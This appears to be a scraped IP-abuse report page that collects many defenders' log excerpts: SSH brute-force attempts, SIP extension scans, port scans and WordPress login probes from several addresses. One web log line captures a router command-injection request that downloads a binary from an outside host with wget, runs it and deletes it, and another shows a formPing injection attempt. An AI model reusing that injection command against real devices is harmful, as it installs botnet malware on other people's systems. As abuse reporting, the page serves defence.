2020-06-13T20:27:45.803940abusebot-2.cloudsearch.cf sshd[27995]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.64  user=root
2020-06-13T20:27:47.326296abusebot-2.cloudsearch.cf sshd[27995]: Failed password for root from 37.49.226.64 port 54736 ssh2
2020-06-13T20:28:25.298624abusebot-2.cloudsearch.cf sshd[27997]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.64  user=root
2020-06-13T20:28:27.980028abusebot-2.cloudsearch.cf sshd[27997]: Failed password for root from 37.49.226.64 port 54212 ssh2
2020-06-13T20:29:04.333455abusebot-2.cloudsearch.cf sshd[27999]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.64  user=root
2020-06-13T20:29:06.367681abusebot-2.cloudsearch.cf sshd[27999]: Failed password for root from 37.49.226.64 port 54536 ssh2
2020-06-13T20:29:40.680354abusebot-2.cloudsearch.cf sshd[28001]: pam_unix(sshd:auth): authenticat
...

Jun 11 18:25:03 vt0 sshd[19399]: Did not receive identification string from 37.49.226.64 port 53796
Jun 11 18:25:26 vt0 sshd[19400]: Failed password for root from 37.49.226.64 port 42970 ssh2
...

2020-06-11T08:58:06.742168mail.broermann.family sshd[12010]: Failed password for root from 37.49.226.64 port 36726 ssh2
2020-06-11T08:58:43.009537mail.broermann.family sshd[12046]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.64  user=root
2020-06-11T08:58:45.326776mail.broermann.family sshd[12046]: Failed password for root from 37.49.226.64 port 44892 ssh2
2020-06-11T08:59:21.538813mail.broermann.family sshd[12106]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.64  user=root
2020-06-11T08:59:23.876275mail.broermann.family sshd[12106]: Failed password for root from 37.49.226.64 port 54690 ssh2
...

Jun  6 11:15:52 mail sshd\[24834\]: Invalid user ansible from 37.49.226.64
Jun  6 11:16:10 mail sshd\[24861\]: Invalid user apache from 37.49.226.64
Jun  6 11:16:30 mail sshd\[24866\]: Invalid user cisco from 37.49.226.64
Jun  6 11:16:51 mail sshd\[24870\]: Invalid user db2inst1 from 37.49.226.64
Jun  6 11:17:11 mail sshd\[24898\]: Invalid user demo from 37.49.226.64
...

Jun  4 15:32:22 dignus sshd[7535]: Failed password for root from 37.49.226.64 port 60000 ssh2
Jun  4 15:32:40 dignus sshd[7569]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.64  user=root
Jun  4 15:32:42 dignus sshd[7569]: Failed password for root from 37.49.226.64 port 36798 ssh2
Jun  4 15:33:00 dignus sshd[7597]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.64  user=root
Jun  4 15:33:03 dignus sshd[7597]: Failed password for root from 37.49.226.64 port 41872 ssh2
...

Cowrie Honeypot: 10 unauthorised SSH/Telnet login attempts between 2020-06-03T12:35:45Z and 2020-06-03T12:41:24Z

May 27 09:15:00 *host* sshd\[27736\]: Unable to negotiate with 37.49.226.64 port 33948: no matching key exchange method found. Their offer: diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1 \[preauth\]

2020-05-23T16:00:32.516136abusebot-2.cloudsearch.cf sshd[27764]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.64  user=root
2020-05-23T16:00:34.468578abusebot-2.cloudsearch.cf sshd[27764]: Failed password for root from 37.49.226.64 port 38807 ssh2
2020-05-23T16:01:02.574093abusebot-2.cloudsearch.cf sshd[27779]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.64  user=root
2020-05-23T16:01:04.647918abusebot-2.cloudsearch.cf sshd[27779]: Failed password for root from 37.49.226.64 port 58972 ssh2
2020-05-23T16:01:33.504587abusebot-2.cloudsearch.cf sshd[27781]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.64  user=root
2020-05-23T16:01:35.497175abusebot-2.cloudsearch.cf sshd[27781]: Failed password for root from 37.49.226.64 port 50908 ssh2
2020-05-23T16:02:03.371442abusebot-2.cloudsearch.cf sshd[27783]: pam_unix(sshd:auth): authenticat
...

SSH brutforce

Unauthorized access to SSH at 21/May/2020:20:57:07 +0000.

web-1 [ssh] SSH Attack

May 20 20:58:36 OPSO sshd\[19958\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.64  user=root
May 20 20:58:38 OPSO sshd\[19958\]: Failed password for root from 37.49.226.64 port 56220 ssh2
May 20 20:59:03 OPSO sshd\[19975\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.64  user=root
May 20 20:59:05 OPSO sshd\[19975\]: Failed password for root from 37.49.226.64 port 46208 ssh2
May 20 20:59:30 OPSO sshd\[19980\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.64  user=root

SSHD unauthorised connection attempt (b)

TCP ports : 465 / 587

TCP ports : 465 / 587

[2020-07-24 06:05:37] NOTICE[1277][C-00002857] chan_sip.c: Call from '' (37.49.226.39:61946) to extension '971441144630017' rejected because extension not found in context 'public'.
[2020-07-24 06:05:37] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-24T06:05:37.251-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="971441144630017",SessionID="0x7f1754318b48",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.39/61946",ACLName="no_extension_match"
[2020-07-24 06:06:27] NOTICE[1277][C-00002859] chan_sip.c: Call from '' (37.49.226.39:57469) to extension '9710441144630017' rejected because extension not found in context 'public'.
[2020-07-24 06:06:27] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-24T06:06:27.162-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="9710441144630017",SessionID="0x7f1754742008",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/3
...

[2020-07-23 02:28:17] NOTICE[1277][C-00002114] chan_sip.c: Call from '' (37.49.226.41:56352) to extension '199441274066041' rejected because extension not found in context 'public'.
[2020-07-23 02:28:17] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-23T02:28:17.484-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="199441274066041",SessionID="0x7f175452b198",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.41/56352",ACLName="no_extension_match"
[2020-07-23 02:29:44] NOTICE[1277][C-00002115] chan_sip.c: Call from '' (37.49.226.41:56115) to extension '199810441274066041' rejected because extension not found in context 'public'.
[2020-07-23 02:29:44] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-23T02:29:44.136-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="199810441274066041",SessionID="0x7f1754694fe8",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/U
...

[-]:80 37.49.226.35 - - [16/Jul/2020:13:54:39 +0200] "POST /boaform/admin/formPing?target_addr=;'+payload+'%20/&waninf=1_INTERNET_R_VID_154 HTTP/1.1" 301 631 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.30.2.el6.x86_64"

37.49.226.35 - - [15/Jul/2020:05:16:28 -0500] "GET https://www.ad5gb.com/setup.cgi?next_file=afr.cfg&todo=syscmd&cmd=wget%20http://45.95.168.230/bins/Meth.mips%20-O%20/var/tmp/Meth.mips;%20chmod%20777%20/var/tmp/Meth.mips;%20/var/tmp/Meth.mips%20africo.exploit;%20rm%20-rf%20/var/tmp/Meth.mips&curpath=/¤tsetting.htm=1 HTTP/1.1" 400 346 400 346 0 0 452 416 605 295 0 DIRECT FIN FIN TCP_MISS

firewall-block, port(s): 5683/udp

Unauthorized connection attempt detected from IP address 37.49.226.4 to port 81

[2020-07-04 01:01:24] NOTICE[1197][C-00001132] chan_sip.c: Call from '' (37.49.226.37:49525) to extension '000442894548765' rejected because extension not found in context 'public'.
[2020-07-04 01:01:24] SECURITY[1214] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-04T01:01:24.282-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="000442894548765",SessionID="0x7f6d28136c98",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.37/49525",ACLName="no_extension_match"
[2020-07-04 01:04:58] NOTICE[1197][C-00001138] chan_sip.c: Call from '' (37.49.226.37:61836) to extension '000442894548765' rejected because extension not found in context 'public'.
[2020-07-04 01:04:58] SECURITY[1214] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-04T01:04:58.923-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="000442894548765",SessionID="0x7f6d288c4af8",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.
...

 TCP (SYN) 37.49.226.4:58116 -> port 81, len 44

firewall-block, port(s): 81/tcp

 TCP (SYN) 37.49.226.4:43452 -> port 81, len 44

Unauthorized connection attempt detected from IP address 37.49.226.227 to port 23 [T]

Unauthorized connection attempt detected from IP address 37.49.226.208 to port 23

Unauthorized connection attempt detected from IP address 37.49.226.208 to port 23

Jun 26 17:24:00 webhost01 sshd[6984]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=54.39.151.64
Jun 26 17:24:02 webhost01 sshd[6984]: Failed password for invalid user ubuntu from 54.39.151.64 port 59301 ssh2
...

prostitution

Port 22 Scan, PTR: None

Jun 26 11:53:47 vps687878 sshd\[12590\]: Failed password for invalid user ide from 118.89.219.116 port 47414 ssh2
Jun 26 11:56:31 vps687878 sshd\[12823\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=118.89.219.116  user=root
Jun 26 11:56:33 vps687878 sshd\[12823\]: Failed password for root from 118.89.219.116 port 56856 ssh2
Jun 26 11:59:15 vps687878 sshd\[12997\]: Invalid user adk from 118.89.219.116 port 38066
Jun 26 11:59:15 vps687878 sshd\[12997\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=118.89.219.116
...

Jun 26 05:49:35 mail sshd\[30693\]: Invalid user fedora from 201.249.50.74
Jun 26 05:49:35 mail sshd\[30693\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=201.249.50.74
...

unauthorized connection attempt

 TCP (SYN) 111.182.236.112:59424 -> port 23, len 44

Jun 26 10:09:55 roki sshd[6257]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=128.201.77.94  user=root
Jun 26 10:09:56 roki sshd[6257]: Failed password for root from 128.201.77.94 port 47346 ssh2
Jun 26 10:14:31 roki sshd[6579]: Invalid user lab from 128.201.77.94
Jun 26 10:14:31 roki sshd[6579]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=128.201.77.94
Jun 26 10:14:33 roki sshd[6579]: Failed password for invalid user lab from 128.201.77.94 port 55220 ssh2
...

unauthorized connection attempt

06/26/2020-06:28:39.715854 185.176.27.34 Protocol: 6 ET DROP Dshield Block Listed Source group 1

<6 unauthorized SSH connections

$f2bV_matches

$f2bV_matches

(imapd) Failed IMAP login from 177.135.103.54 (BR/Brazil/177.135.103.54.dynamic.adsl.gvt.net.br): 1 in the last 3600 secs; Ports: *; Direction: inout; Trigger: LF_TRIGGER; Logs: Jun 26 08:19:32 ir1 dovecot[2885757]: imap-login: Disconnected (auth failed, 1 attempts in 5 secs): user=, method=PLAIN, rip=177.135.103.54, lip=5.63.12.44, TLS: Connection closed, session=

124.183.85.228 - - [26/Jun/2020:05:57:32 +0100] "POST /xmlrpc.php HTTP/1.1" 403 219 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
124.183.85.228 - - [26/Jun/2020:05:57:34 +0100] "POST /wp-login.php HTTP/1.1" 200 6026 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
124.183.85.228 - - [26/Jun/2020:05:58:34 +0100] "POST /xmlrpc.php HTTP/1.1" 403 219 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
...